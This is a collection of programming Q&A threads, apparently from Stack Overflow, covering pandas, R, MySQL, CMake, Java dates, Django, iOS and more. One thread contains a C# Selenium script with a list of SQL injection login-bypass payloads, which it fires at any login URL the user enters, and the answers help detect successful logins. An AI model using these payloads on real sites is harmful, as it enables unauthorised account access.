2   1   0   0   0   0   0   0   0   0
3   0   0   0   0   0   1   0   0   0
4   0   1   0   0   0   0   0   0   0
5   1   0   0   0   0   0   0   0   0

Can I do that using pivot() function? And how?

A: Use get_dummies:
In [7]:

pd.get_dummies(df)
Out[7]:
   id  Class_Class_1  Class_Class_2  Class_Class_6
0   1              0              1              0
1   2              1              0              0
2   3              0              0              1
3   4              0              1              0
4   5              1              0              0


text:
Q: How to use R package bigrquery to load sample data from google big query Currently I'm trying to learn something from bigrquery. I found some help on Hadley's github [repository]: https://github.com/hadley/bigrquery . I follow the instruction exactly (I creat my own project ID and corresponding number) but I still cannot get the sample data from the website.
Here is my code:
library(bigrquery)
project <- "237216145162"
sql <- "SELECT year, month, day, weight_pounds FROM natality LIMIT 5"
data <- query_exec("publicdata", "samples", sql, billing = project)

Waiting for authentication in browser...

Then my browser pops up and shows
Error: invalid_request

Required parameter is missing: response_type

Learn more

When I press learn more it goes to a link of using OAuth2.0 to access google APIs which is totally new to me.
Can anyone help me with this? I'm not quite familiar with this and I think this involves  other knowledge.
Much appreciate for the help.

A: From the sound of things, you've got some sort of issue with either running the local webserver or hitting the auth URL directly on your machine. I'd be interested to know what OS/browser/etc.
We can debug that, but there's an easy workaround to get you unblocked -- first, from your R session, run
options("httr_oob_default" = TRUE)

and try your command again. This will ask httr to use a slightly different way to set up the auth dance (in particular with copy-pasting the URL and a response code) that should get you up and running.


text:
Q: How to store media files path in mysql I created a database in mysql with phpmyadmin to store music albums as localhost  and then added some tables to the database, but I really have no idea how to store my mp3 files path in a table with URL column for them? I have many directories inside my hard disk but can't figure it out how to handle it.
For example.

E:\Entertainment Lib\Music Library\Artist Name\Album Name\Song Name.mp3

Here is my table structure

A: You will first need to iterate through the folder you wish to index for tracks.. Something like the following will run a recursive check.
We will create a class for the song, just so we can extend it later if needed.
class Track {
    public $location;
}

Then we will select the folder we want to recursively scan and proceed to do so.
We will use the lovely RecursiveIteratorIterator for this.
$result = array();

$musicFolder = "c:\\music\\Folder\\";
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($musicFolder)) as $filename)
{
    //This can be extended to check for other files also.
    //But for your purposes we can stick to mp3!
    if(getExtention($filename) == "mp3" )
    {
        $arrayItem = new Track();
        $arrayItem->location = $filename;
        array_push($result, $arrayItem);
    }
}

Right now you have all your file locations inside the array object $result . This you can then insert however you like into the MySQL DB.
I think this is what you were looking for ?

A: Best approach would be define some location where all your directories placed.
For e.g. /var/www/site/upload
take that value a config value so you can use at later stage whenever require. Now to store values in database, you should store path starting from your base location.
/dir1/file1.mp3
/dir2/file2.mp3
/dir3/file3.mp3

This way in future if you have to change location of your upload directory then just move your files to new location and edit your location with new value and you are done.


text:
Q: why specifying architecture needs to be done in cmake for multi-configuration generators I understand that CMAKE_BUILD_TYPE only works for single-configuration generators like Unix Makefiles. There are also multi-configuration generators like Visual Studio or Xcode where CMAKE_BUILD_TYPE does not works. (see this and this question for further info). I've generated Visual Studio 2013 x86 project with cmake-gui for libharu and there is not possible to switch from win32 to x64 in Visual Studio. I'm wondering why in multi-configurations it is need to specify architecture (x86 or x64) in cmake? Why it is not possible in Visual Studio directly? Is there some limitation or benefit or something that I should be aware of?
Thanks

A: Because this switch between 32 and 64 bit is not available in all environments cmake follows the philosophy to use out-of-source builds and have each compiler in their own directory. So a 32 bit and a 64 bit build can be seen as a a different compilation environment so they each generate their own folders.
So while this is a cmake limitation it is also intentional.
This answer also mentions this: https://stackoverflow.com/a/5359191/152359


text:
Q: How did the Doctor remember the ship name? In Deep Breath (series 8) the Doctor tries to remember a previous incident with

 clockwork androids stealing human body parts to repair machinery.

Yet he can't. During another conversation with the episode's main "villain", he finally remembers a few parts of his own history.
He's looking at the backside of some kind of fuse and reads the name

 SS Marie Antoinette

and shortly later combines this with the name of the supposed sister ship:

 SS Madame de Pompadour

The actual event he remembers has been depicted in an episode of series 1 (2005).

 However, as far as I remember, at the end of The Girl in the Fireplace the Doctor just kept wondering why the droids wanted Madame de Pompadour specifically. As far as I know it's only shown to the audience that the ship's hull has Madame de Pompadour written on its flank, essentially revealing its name.

So did I just miss the Doctor noticing the name? Or is this a plot hole?

A: He didn't see the name of the ship before they left the SS Pompadour and it's not apparent from the script of Deep Breath that he's definitively linked the two ships together. He's merely reading the data-chip.
Obviously we know that they're linked (that's the joke), but there's no indication to suggest that he knows:

THE DOCTOR : SS Marie Antoinette. Out of control repair Droids, cannibalizing human beings. I know this is familiar, but I just can't
  seem to place it.
The Half-Face Man responds -
HALF-FACE MAN : How would you kill me?
THE DOCTOR : Sister Ship of ... (Squints closer, writing is a bit faded) ...the Madame De Pompadour.
(Considers, reflects)
THE DOCTOR : Nope, not getting it.

Obviously he's noticed the similarity in the design of the robots as well as the situation though but his swiss-cheesed memory is playing tricks on him.


text:
Q: Can I enable the Windows 7 Start menu in Windows 10? I've upgraded from Windows 7 to Windows 10 and now I only find this new slower Start menu with all the tiles in it

(picturesource: http://szamtechnikus.hu)
Can I enable the older Windows 7 one again which suites my needs more?

A: With the inbox tools of Windows it is not possible. But because Windows 8 missed the start menu at all (it only included a Startscreen), a lot of 3rd party developers created start menus.
2 Important tools are StartIsBack++ and ClassicShell.
StartIsBack++ is the Windows 10 compatible version of StartIsBack+ which works in Windows 8.1 and comes as a 30 day free trial which you have to unlock for a few bucks. It restore the Windows 7 Start menu best and provides a lot of configuration options. It can be downloaded on http://startisback.com/.

ClassicShell 4.2.4 is also supporting Windows 10 and can also bring back the classic Windows XP/2000 start menu if needed. It is free to use.
The latest version can be found on their website.
After setup, run the config program and select the older XP style

or the newer Windows 7 style:

Now you have your loved start menu back and not the slower XAML based start from Windows 10.


text:
Q: How do I get a simple date instead of a gregorian calendar? I am creating a reservation system and i'm trying to enter a specific date. Instead of getting a simple format 2015/12/14 which I want, I am getting  this:

java.util.GregorianCalendar[time=1481500800000,areFieldsSet=true,areAllFieldsSet=true,lenient=true,zone=sun.util.calendar.ZoneInfo[id="Europe/London",offset=0,dstSavings=3600000,useDaylight=true,transitions=242,lastRule=java.util.SimpleTimeZone[id=Europe/London,offset=0,dstSavings=3600000,useDaylight=true,startYear=0,startMode=2,startMonth=2,startDay=-1,startDayOfWeek=1,startTime=3600000,startTimeMode=2,endMode=2,endMonth=9,endDay=-1,endDayOfWeek=1,endTime=3600000,endTimeMode=2]],firstDayOfWeek=2,minimalDaysInFirstWeek=4,ERA=1,YEAR=2016,MONTH=11,WEEK_OF_YEAR=50,WEEK_OF_MONTH=3,DAY_OF_MONTH=12,DAY_OF_YEAR=347,DAY_OF_WEEK=2,DAY_OF_WEEK_IN_MONTH=2,AM_PM=0,HOUR=0,HOUR_OF_DAY=0,MINUTE=0,SECOND=0,MILLISECOND=0,ZONE_OFFSET=0,DST_OFFSET=0]

How can I change my code so that it just saves it as a simple date instead of this? Because I think this is what's crashing my programme.
My ReservationDAO class:
 package projects.dao.textdao;

 import java.io.BufferedReader;
 import java.io.FileNotFoundException;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.nio.file.Path;
 import java.text.ParseException;
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
 import java.util.Calendar;
 import java.util.Date;
 import java.util.List;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 import projects.Reservation;
 import projects.Customer;
 import restaurant.dao.ReservationDAO;

 public class TextReservationDAO extends ReservationDAO {

static final char DELIMITER = ':';

@Override
public List<Reservation> loadReservations(Path path, List<Customer> customer) {
    List<Reservation> reservations = new ArrayList<>();

    try (BufferedReader br = new BufferedReader(new FileReader(path.toString()))) {
        int reservationId, customerId;
        Calendar dateTime;

        String[] temp;
        String line = br.readLine();

        while (line != null) {
            Customer reservationCustomer = null;
            temp = line.split(Character.toString(DELIMITER));
            reservationId = Integer.parseInt(temp[0]);

            SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd");
            String dateInString = temp[1];
            Date date = null;
            try {
                date = sdf.parse(dateInString);
            } catch (ParseException ex) {
                Logger.getLogger(TextReservationDAO.class.getName()).log(Level.SEVERE, null, ex);
            }
            dateTime = Calendar.getInstance();
            dateTime.setTime(date);

            customerId = Integer.parseInt(temp[2]);
            for (Customer c : customer) {
                if (c.getCustomerId() == customerId) {
                    reservationCustomer = c;
                }
            }

            line = br.readLine();
            Reservation r = new Reservation(reservationId, dateTime, reservationCustomer);
            reservations.add(r);
        }
        br.close();
    } catch (IOException ex) {
        Logger.getLogger(TextReservationDAO.class.getName()).log(Level.SEVERE, null, ex);
    }
    return reservations;
}

@Override
public void storeReservations(Path path, List<Reservation> reservations) {
    try (PrintWriter output = new PrintWriter(path.toFile())) {
        for (Reservation r : reservations) {
            output.println(toFileString(r));
        }
        output.close();
    } catch (FileNotFoundException ex) {
        Logger.getLogger(TextReservationDAO.class.getName()).log(Level.SEVERE, null, ex);
    }
}

private String toFileString(Reservation r) {
    String s
            = Integer.toString(r.getReservationId()) + DELIMITER
            + r.getDateString() + DELIMITER
            + Integer.toString(r.getCustomer().getCustomerId()) + DELIMITER;
    return s;
}

 }

My Reservation Class:
 package projects;

 import java.text.SimpleDateFormat;
 import java.util.Calendar;
 import java.util.HashSet;
 import java.util.Set;

 public class Reservation {

private int reservationId;
private Calendar dateTime;
private Customer customer;

private static int numberOfReservations = 0;

public Reservation() {
    this.reservationId = 0;
    this.dateTime = null;
     this.customer = null;

    numberOfReservations++;
}

public Reservation(int reservationId, Calendar dateTime, Customer customer) {
    this.reservationId = reservationId;
    this.dateTime = dateTime;
      this.customer = customer;

    numberOfReservations++;
}

public static int getNumberOfReservations() {
    return numberOfReservations;
}

public int getReservationId() {
    return reservationId;
}

public void setreservationId(int reservationId) {
    this.reservationId = reservationId;
}

public Calendar getDateTime() {
    return dateTime;
}

public void setDateTime(Calendar dateTime)
{
    this.dateTime = dateTime;
}

    public Customer getCustomer()
{
    return customer;
}

public void setCustomer(Customer customer)
{
    this.customer = customer;
}

public String getDateString() {
    SimpleDateFormat formatter = new SimpleDateFormat("yyyy MMM dd");
    String dateString = formatter.format(dateTime.getTime());
    return dateString;
}

@Override
public String toString() {
    return "Reservation id: " + getReservationId() + ", "
            + "Date/Time " + getDateTime() + "," +
    "customer: " + getCustomer();

}
 }

A: You can print out your Date object using SimpleDateFormat
SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd");
sdf.format(new Date());

A: try this:
new Date().toString()

This get default date format


text: Q: Аналог SonarQube для отображения результатов Добрый день. Есть своя система для расчета checkstyle и cpd. Можно ли как-то импортировать эти данные в SonarQube или какую-то аналогичную систему. Не для анализа, а просто выводить результаты?


text:
Q: How can I check if an element exists using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenQA.Selenium;
using OpenQA.Selenium.Firefox;
namespace ConsoleApplication4
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] logs = new string[10000];
            int log=0;
            string[] injections = new string[]{"admin' or 'a'='a",
"or 1=1",
"or 1=1--",
"or 1=1#",
"or 1=1/*",
"admin' --",
"admin' #",
"admin'/*",
"admin' or '1'='1",
"admin' or '1'='1'--",
"admin' or '1'='1'#",
"admin' or '1'='1'/*",
"admin'or 1=1 or ''='",
"admin' or 1=1",
"admin' or 1=1--",
"admin' or 1=1#",
"admin' or 1=1/*",
"admin') or ('1'='1",
"admin') or ('1'='1'--",
"admin') or ('1'='1'#",
"admin') or ('1'='1'/*",
"admin') or '1'='1",
"admin') or '1'='1'--",
"admin') or '1'='1'#",
"admin') or '1'='1'/*",
"1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
"admin\" --",
"admin\" #",
"admin\"/*",
"admin\" or \"1\"=\"1",
"admin\" or \"1\"=\"1\"--",
"admin\" or \"1\"=\"1\"#",
"admin\" or \"1\"=\"1\"/*",
"admin\"or 1=1 or \"\"=\"",
"admin\" or 1=1",
"admin\" or 1=1--",
"admin\" or 1=1#",
"admin\" or 1=1/*",
"admin\") or (\"1\"=\"1",
"admin\") or (\"1\"=\"1\"--",
"admin\") or (\"1\"=\"1\"#",
"admin\") or (\"1\"=\"1\"/*",
"admin\") or \"1\"=\"1",
"admin\") or \"1\"=\"1\"--",
"admin\") or \"1\"=\"1\"#",
"admin\") or \"1\"=\"1\"/*",
"1234 \" AND 1=0 UNION ALL SELECT \"admin\", \"81dc9bdb52d04dc20036dbd8313ed055"};
            int counter=0;
            string url,usr,pass,text;
            System.Console.WriteLine("Enter the url to check sql injection");
            url= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the usr");
            usr= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the pass");
            pass= Console.ReadLine();
            System.Console.WriteLine("\nEnter the  text of link on page to know login");
            text = Console.ReadLine();
            IWebDriver Driver = new FirefoxDriver();
            while(counter<=47)
            {
            Driver.Navigate().GoToUrl(url);
            IWebElement y = Driver.FindElement(By.Name(usr));
            y.SendKeys(injections[counter]);

          IWebElement  z = Driver.FindElement(By.Name(pass));
               z.SendKeys(injections[counter]);
                z.Submit();

               if(Driver.FindElement(By.LinkText(text)));
               {

                    logs[log]=usr;
                    log++;
            }

                counter++;
            }

        }
    }
}

How can I put condition on if(Driver.FindElement(By.LinkText(text))); or condition on something else so I can know that the user is logged in I'm making a automated script that can test the SQL injection login. Or please just help me to make a condition that if the condition is true it store the injected queries in array so I can know which injections were successful to login.

A: Try
if(Driver.FindElements(By.LinkText(text)).Count > 0)

Or catch the exception thrown by Driver.FindElement.
ISearchContext.FindElements
ISearchContext.FindElement

A: I am seeing a syntax error here. You are ending the line with ;. Should be
if(Driver.FindElement(By.LinkText(text)))
{
    logs[log]=usr;
    log++;
}

I assumed the linkText is valid and returning the correct element and delay is not an issue.


text: Q: IPv6-only Windows Server remote acess from IPv4-only client I have one Windows Server in a network where my ISP give me a public IPv6 and an CGNAT IPv4, because of that, it can not be accessible from an IPv4-only client. Is there any way i can make this server accessible by port 3389 to IPv4-only clients without messing with the client-side, only with server-side configurations?


text:
Q: Cancel Tap gesture on UIBarbutton in iPhone I have added Tap Gesture recognizer to a view. My view has an image and a UIToolBar at the bottom with a few UIBarbuttons I want to cancel any touches on these buttons. I am trying to use the following method to cancel the touch. How do I detect whether the touch is on the toolbar or any bar buttons? Frame is also not defined for Bar buttons...
- (BOOL)gestureRecognizer:(UIGestureRecognizer *)gestureRecognizer shouldReceiveTouch:(UITouch *)touch {

    if (gestureRecognizer == tapRecognizer) {
  if (touch.view==barbutton/*toolbar or bar button item*/)
   {
   return NO;
  }

    }
    return YES;
}

A: CGPoint location = [touch locationInView:self.view];
if(CGRectContainsPoint(toolbar.frame, location)) { ... }

This is assuming the toolbar and self.view are in the same coordinate space. If not, you'll have to use UIView's coordinate conversion methods (convertPoint:toView:) to make the spaces match.

A: Buttons are the first responder and their uitouchup or other event will fire first and won't propogate to the backing view.
You can subclass your buttons and have the touchesbegan/moved/ended do:
[self.nextResponder touchesBegan:touches withEvent:event];

to have your backing view handle all their events for them in which case your gesture code should work.


text:
Q: Cant get Information out of request data (Django/Postman) Im trying to build an api with Django. I think i build it correctly but from, for example Post-request data, i get as the field values "none"
Maybe you can help me to solve this problem :)
Heres the api:
def apiRequests(request):
    if request.method == "POST":
        print(request.POST.get("name"))
        print(request.POST.get("publisher"))
        print(request.POST.get("price"))
        #Game.objects.create(name= request.POST.get('name'),publisher = request.POST.get("publisher"),price = request.POST.get("price"))
    elif request.method == "GET":
        response = Game.objects.filter(name = request.GET.get("name"))
    return render(request,"apirequests.html")

As you may see i'm printing out the data i receive. This looks like this:
None
None
None
[26/Aug/2022 08:40:09] "POST /api/ HTTP/1.1" 200 263

Here's the model class:
class Game(models.Model):
    name = models.CharField(max_length=200)
    publisher = models.CharField(max_length=200)
    price = models.BigIntegerField()

    def __str__(self):
        return str(self.id) + " " + self.name

And here is the data I'm sending as a Post-request from Postman to the api:
{
    "name": "FarCry",
    "publisher": "EA",
    "price": "35.66"
}

I think i should say that i got Problems with the CsrfViewMiddleware-Token so i commented it out in the settings.py, maybe there is the problem.
Thanks for helping

A: If you are using Postman, send the body as form-data.


text:
Q: Deleting a row from a data set I am trying to create a function that deletes n rows from a data set in R. The rows that I want to delete are the minimum values from the column time in the data set my_data_set.
I currently have
delete_data <- function(n)
{
  k=1
  while(k <= n)
  {
    my_data_set = my_data_set[-(which.min(my_data_set$time)),]
    k=k+1
  }
}

When I input these lines manually (without the use of the while loop) it works perfectly but I am not able to get the loop to work.
I am calling the function by:
delete_data(n = 2)

Any help is appreciated!
Thanks

A: Try:
my_data_set[ ! my_data_set$time == min(my_data_set$time),  ]

Or if you are using data.table and wish to use the more direct syntax that data.table provides:
library(data.table)
setDT( my_data_set )

my_data_set[ ! time == min(time) ]

Then review how R work.  R is a vectorized language that pretty much does what you mean without having to resort to complicated loops.

A: Also try:
my_data_set <- my_data_set[which(my_data_set$time > min(my_data_set$time)),]

By the way, which.min() will only pick up the first record if there is more than one record matching the minimum value.


text:
Q: How to get the diameter of multiple circles? How can I get the length of the red line, if I got the diameters of all black circles? I'd prefer to get the lengths of the right example but I think it's much more difficult.

A: It is easier to calculate the length of the red-stripe on RHS.
Suppose c1, c2, c3 and r1, r2, r3 are the centers and radia of the big circle,
the small-circle-at-the-top and the small-circle-at-the-bottom resply.
I am assuming the red-line is tightly surrounding the circles so that it is
a straight line between the points of tangency of circle pairs and
is overlapping the portions of perimeter the rest of the times.
Suppose the points of tangency of the red line to (c1,r1) is p1,
and to (c2,r2) is p2. The segments between the points p1&c1 and p2&c2
are parallel to one another since the same line tangent to both is at
a straight angle with both of these segments. And, since (if) the tree circles
are tangent to one another, the segment between c1 and c2 is passing thru the point
of tangency between the circles centered at c1 and c2 and the length of
this segment is r1+r2.
On the trapezoid with corners (p1, p2, c2, c1),
you know the angles at corners
p1 and p2, the length of the parallel sides r1=length-of-segment-between p1-c1 and r2.
This is more than to calculate
the degrees of other 2 angles. When you work this on all three trapezoids over
the circle pairs, you also have the degrees of those angles at each radius
seeing that portion of the circle covered by the red stripe.


text:
Q: Unsolvable Linkage error with openears when trying to run tests I have been using openears for a while now with no problems. I imported the library into my project and the application compiles and runs.
The problem arose when I tried to create and run tests. The projects refuses to compile and issues the following linkage error:

Undefined symbols for architecture x86_64:
    "_delete_voice", referenced from:
        _unregister_cmu_us_slt in OpenEars(cmu_us_slt.o)
    "_flite_feat_set_string", referenced from:
        _register_cmu_us_slt in OpenEars(cmu_us_slt.o)
    "_cg_synth", referenced from:
        _register_cmu_us_slt in OpenEars(cmu_us_slt.o)
    "_uttfunc_val", referenced from:
        _register_cmu_us_slt in OpenEars(cmu_us_slt.o)
    "_flite_feat_set", referenced from:
        _register_cmu_us_slt in OpenEars(cmu_us_slt.o)
    "_OBJC_CLASS_$_OENotification", referenced from:
        objc-class-ref in RapidEars(OEContinuousModel+RapidEars.o)
    "_ps_nbest", referenced from:
        l015 in RapidEars(OEContinuousModel+RapidEars.o)
    "_cg_db_val", referenced from:
        _register_cmu_us_slt in OpenEars(cmu_us_slt.o)
  .
  .
  .
    "_OBJC_CLASS_$_OEPocketsphinxController", referenced from:
        type metadata accessor for __ObjC.OEPocketsphinxController in OpenEarsClient.o
        l031 in RapidEars(OEPocketsphinxController+RapidEars.o)
  ld: symbol(s) not found for architecture x86_64
  clang: error: linker command failed with exit code 1 (use -v to see invocation)

I have tried several approaches I found but still haven't found a solution.
Any help will be greatly appreciated.

A: Ok, managed to figure it out. Downloaded the latest Openears library and added it as before and it worked.
Apparently, You have to upgrade for it to work on Xcode 8.


text:
Q: Won't know what type of database will be in use until after I demo a prototype. Is it possible to make that work? A relative of mine wants me to to make a program to organize some information at where she works. It's fairly simple, however I don't know what kind of office drama they have going on, but she doesn't want to bother IT with all sorts of questions about the database that can be used, how it will connect (multiple people will read info stored in a database of some sort hosted within the companies intranet).
Anyways, I'm thinking it shouldn't be a problem to just use something like a local Microsoft access database file for now, and then rewrite the database component when I have more information. Is that an insane idea? This program is not hard, it can probably be written and tested in a week if I was working on it full time (I'm still in college). For that matter, I am thinking of using Java in Netbeans simply because I am comfortable with it. Should I worry that I find out they use some sort of database or other solution that cannot be (easily) worked with in Java?

A: While knowing a requirement like database type upfront is a good idea, being able to adapt to new requirements is a part of Agile development.
I'd argue it's not an insane idea. If you're careful about your design, switching out database won't be too bad. If you don't mind, I'll elaborate on a (possible) pattern that might save you trouble.

Overview
In my experience I have found it best to abstract the database logic (how to communicate) from the business logic (how to accomplish a task). These two layers are going to make your code much more maintainable for when you find out the company is running an Oracle database and not Access.
Data Access Layer
The DAL has one job and that is to communicate to the database. It needs to read, it needs to write, and that is it. Your classes will likely include information like table attribute names or queries. It's OK to do that here since the class is specific to a particular database. Using a DAL will greatly simply your database calls later on.
I would highly suggest looking into factory pattern for how to design these classes. Using factory pattern will completely decouple the Business Layer from the database specific classes using interfaces. In other words, you can completely change out the database without needing to modify the business logic.
Business Layer
In fancy terms, all I'm talking about is the logic for how to accomplish a task. The business layer doesn't have anything to do with where buttons appear on a screen nor should it worry about table names.
In this layer you will find yourself needing access to the database to read/write information and that is when you call on your Data Access Layer. It will handle the ugly details keeping your business logic from having to know what type of database your are using.
Data Transfer Object
Lastly, you're going to be pushing a lot of information between these layers. I suggest you design some classes that can help you transfer data that belongs together. Consider a call to the DAL requesting a book...
Book book = libraryAccessObject.getBookById("ABC123.45");

Getting a book is going to return a lot of information. Creating a book object to organize that information will make life easier.

In summary, it's not a far fetched idea but be careful with your design. Poor deign now could cause you a lot of problems next week. Layering your code will make it much more maintainable.


text:
Q: How to display multiple images in a single picturebox in c# windows form? I'm a beginner in developing c# windows form in visual studio and i'm a little bit confused with its programming constructs compared to VB.NET that i'm used to program. I want to know how to display multiple images in a single picturebox because in vb.net you will just import the image then load it from the resources not like in c# that I think the coding is different. Any help would be appreciated.

A: I would create an ImageList with all the Images you want to show in your PictureBox, add the three Buttons to your Form and change the Picture on Click.

public partial class Form1 : Form
{

    private ImageList imagelst;

    public Form1()
    {
        InitializeComponent();
        imagelst = new ImageList();
    }

    private void Form1_Load(object sender, EventArgs e)
    {
        //pictures from your Harddrive
        Image i = new Bitmap("rock.jpg");
        imagelst.Images.Add("rock", i);

        i = new Bitmap("scissors.jpg");
        imagelst.Images.Add("scissors", i);

        i = new Bitmap("paper.jpg");
        imagelst.Images.Add("paper", i);
    }

    private void btnRock_Click(object sender, EventArgs e)
    {
        pictureBox1.Image = imagelst.Images["rock"];
    }

    private void btnScissors_Click(object sender, EventArgs e)
    {
        pictureBox1.Image = imagelst.Images["scissors"];
    }

    private void btnPaper_Click(object sender, EventArgs e)
    {
        pictureBox1.Image = imagelst.Images["paper"];
    }
}

I hope I got what you want to do. If not excuse my bad english and slow-wittedness, please.


text:
Q: Не работает position: sticky Не допустимое значение свойства Подскажите в чём проблема, не работает positin: sticky. В браузере в dev tool пишет не допустимое значение свойства.

                  <form action="" class="search">
                    <input
                      type="text"
                      class="search-input"
                      placeholder="Поиск"
                    />
                  </form>

                  +7 (495) 424-98-90
                  info@echsi-arm.ru

                  Заказать звонок

                      Главная

                      Каталог

                      Доставка и оплата

                      Информация

                      Новости

                      О нас

                      Контакты

.header {
  &-bottom {
    border-bottom: 1px solid var(--color-gray-300);
    position: sticky;
    top: 0;
  }


text:
Q: Using powershell to pull from a form and create an AD account Where I work, the hiring managers fill out an infopath form with the all the information needed to create the new AD account:
Last name
Middle Intial
last name
Assigned Phone
Office
Discription
Telephone Number.
Groups needed

I then need to read the form and create the AD account by hand.
I'm thinking I can create a GUI that might import the data from the form and automate the AD account creation.
Can anyone point me in the general direction where I can read how to do this?
I'm still new to Powershell but I'm willing to learn it and I'm enjoying it so far.
Thank you for any information you might share.
Doug

A: This is what I would do.

*

*Create a standard form to have the hiring managers fill out as a .csv file (excel basically)

*import-csv into powershell - http://technet.microsoft.com/en-us/library/hh849891.aspx

*import-module ActiveDirectory - http://technet.microsoft.com/en-us/library/dd378937(WS.10).aspx

*Look up the command to make a new-ADuser - http://technet.microsoft.com/en-us/library/ee617253.aspx


text:
Q: Compiler warning "Missing optimization information" OnEntry and OnExit with NullGuard.PostSharp Just installed Postsharp 2.1 from the nuget package and then installed Phil Haack's NullGuard package.
As I add the [EnsureNonNullAspect] aspect at either the class or method level I immediately get the following compiler warnings:
Warning 1   Missing optimization information on method'
            NullGuard.PostSharp.EnsureNonNullAspect.OnEntry(
            PostSharp.Aspects.MethodExecutionArgs)'.
            This information is computed automatically by PostSharp.
            Make sure that assembly NullGuard.PostSharp is processed by PostSharp
Warning 2   Missing optimization information on method
            'NullGuard.PostSharp.EnsureNonNullAspect.OnExit(
            PostSharp.Aspects.MethodExecutionArgs)'.
            This information is computed automatically by PostSharp.
            Make sure that assembly NullGuard.PostSharp is processed by PostSharp

It could be that this is nothing to worry about, but:
a) I don't like compiler warnings that I can't find the answer to anywhere on Google.
b) it could be something to worry about.
Any help would be most appreciated.
Cheers!
Tod.

A: It's because you're using the free version of PostSharp, which doesn't include the aspect optimization feature. See the comparison of features on PostSharp.net.
https://github.com/Haacked/NullGuard/issues/3

A: A bit late but I might have found a solution. I added the following tag in the project files that were raising the warnings:
<PropertyGroup>
   <UsePostSharp>true</UsePostSharp>
</PropertyGroup>

This solved the issue to me.

A: This is because the library included in that NuGet package has not been processed by PostSharp.


text:
Q: How to tell if my unbound service is running? I have read the other threads about checking if a service is running but this is not working for me.
My situation is that am creating a background web server service but not binding to it because I want it to continue running after the activity ends.  The service creates a notification so users can see it is running.  The user can stop the service through a button on the Activity.
This is all working fine, except on launch of the activity, I can't determine if the service is already running.  Am using the following:
if (isMyServiceRunning() == false)
{
  Intent ws = new Intent(this, WebServerService.class);
  startService(ws);
}

And this
private boolean isMyServiceRunning() {

    String sClassName;

    ActivityManager manager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE))
    {
        sClassName = service.service.getClassName();
        DebugMsg("Service: " + sClassName);

        if (sClassName.contains("com.<mydomain>.webservice"))
        {
              return true;
        }
    }

    return false;
}

I get a list of services running, for both system and 3rd party services.  But my service doesn't show up in the list, even though I know it's running.  If I go into the phone's Settings -> Applications -> Running Services, I can see it running there.
I read in the documentation somewhere that calling startService on a service that is already running should be ignored.  But that isn't the case as I can see in the debugger that both OnCreate and OnStart are being called.
It is important that I do not create a new service each time because the background service may be in the middle of serving a file.  The activity does not need to do any communication with the service - only start it if it isn't running and kill it if the user hits a button.
Any idea on why my service is not showing up in the getRunningServices list?

A: Step #1: Add static boolean isRunning=false to your service.
Step #2: Set isRunning to true in onCreate() of the service.
Step #3: Set isRunning to false in onDestroy() of the service.
Step #4: Examine isRunning to see if the service is running.

I read in the documentation somewhere that calling startService on a service that is already running should be ignored. But that isn't the case as I can see in the debugger that both OnCreate and OnStart are being called.

I am very confident that onCreate() is not called when startService() is invoked on a running service. onStartCommand() (and, hence, onStart() for older services) will be called for every startService() call.

It is important that I do not create a new service each time

Services are natural singletons. There will be precisely 0 or 1 copies of the service in memory. There will never be 2 or more.

A: Actually, my service is now showing up in the list of services.  I'm now thinking that maybe the service name wasn't registered until after restarting the phone, because I didn't make any changes but everything is working now after restarting.


text:
Q: How to use react-router useHistory hook with TypeScript In my func component I am trying to use history.push in this way:
import React, { useEffect } from 'react';
import { useHistory } from 'react-router-dom';

interface Props {
  question: Question;
  selectedAnswer: SelectedOption | undefined;
}

const LastScreen: React.FC<Props> = (props: Props) => {
  const history = useHistory();
  ...

  useEffect(() => {
    if (progress === 100) {
      const id = uuid();
      history.push({
        pathname: `/p/${id}`,
        state: { userAnswers },
      });
    }
  }, [progress, userAnswers, history]);
  ...
};

but it gives an error:
Argument of type '{ pathname: string; state: { userAnswers: UserAnswers | undefined; }; }' is not assignable to parameter of type 'To'. Object literal may only specify known properties, and 'state' does not exist in type 'PartialPath'.ts(2345)
How to fix it?


text:
Q: Apache server not using php despite installing it I am setting up a local environment with php and an Apache server on my macOs High Sierra 10.13.
Strangely, my Apache server won't read php files despite following various tutorials on how to set it up.
I have been installing php 7 with homebrew.
When I run php -S localhost:8000 I get the following info:
PHP 7.1.7 Development Server started at Wed Oct 11 18:47:39 2017
Listening on http://localhost:8000
Document root is /Users/username/Sites
Press Ctrl-C to quit.

So I guess my php version is correctly installed with my local server.
apachectl configtest gives me:
Syntax ok

and httpd -v
Server version: Apache/2.4.27 (Unix)
Server built:   Jul 15 2017 15:41:46

Can someone here help me??

A: Alright I found what wasn't correct.
I needed to insert AddType application/x-httpd-php .php in my httpd.conf file to enable MIME PHP.
I hope this will help other people with similar issues in the future.


text:
Q: sbt.compiler.EvalException: Type Error in Expression I'm quite new with IntelliJ (and on this site too tbh) and have been using it for only a couple of days. When I tried to build my project this exception came up. I tried to solve the problem but to no avail. I tried to see if the same problem occured on a newly created project and yes it does. So the code I've written should have no influence on the build. Iäve also checked if there might be a problem with the sbt version but I am up to date.
This is what the error looks like. I have absolutely no clue how to solve this so any help would be very much appreciated.

Java HotSpot(TM) 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
[warn] Executing in batch mode.
[warn]   For better performance, hit [ENTER] to switch to interactive mode, or
[warn]   consider launching sbt without any commands, or explicitly passing 'shell'
[info] Loading global plugins from C:\Users\Johner-Institut\.sbt\0.13\plugins
Waiting for lock on C:\Users\Johner-Institut\.ivy2\.sbt.ivy.lock to be available...
[info] Loading project definition from C:\Users\Johner-Institut\Desktop\Project\project
C:\Users\Johner-Institut\Desktop\Project\build.sbt:5: error: recursive value project needs type
lazy val `project` = (project in file(".")).enablePlugins(PlayScala)
                      ^
sbt.compiler.EvalException: Type error in expression
[error] sbt.compiler.EvalException: Type error in expression
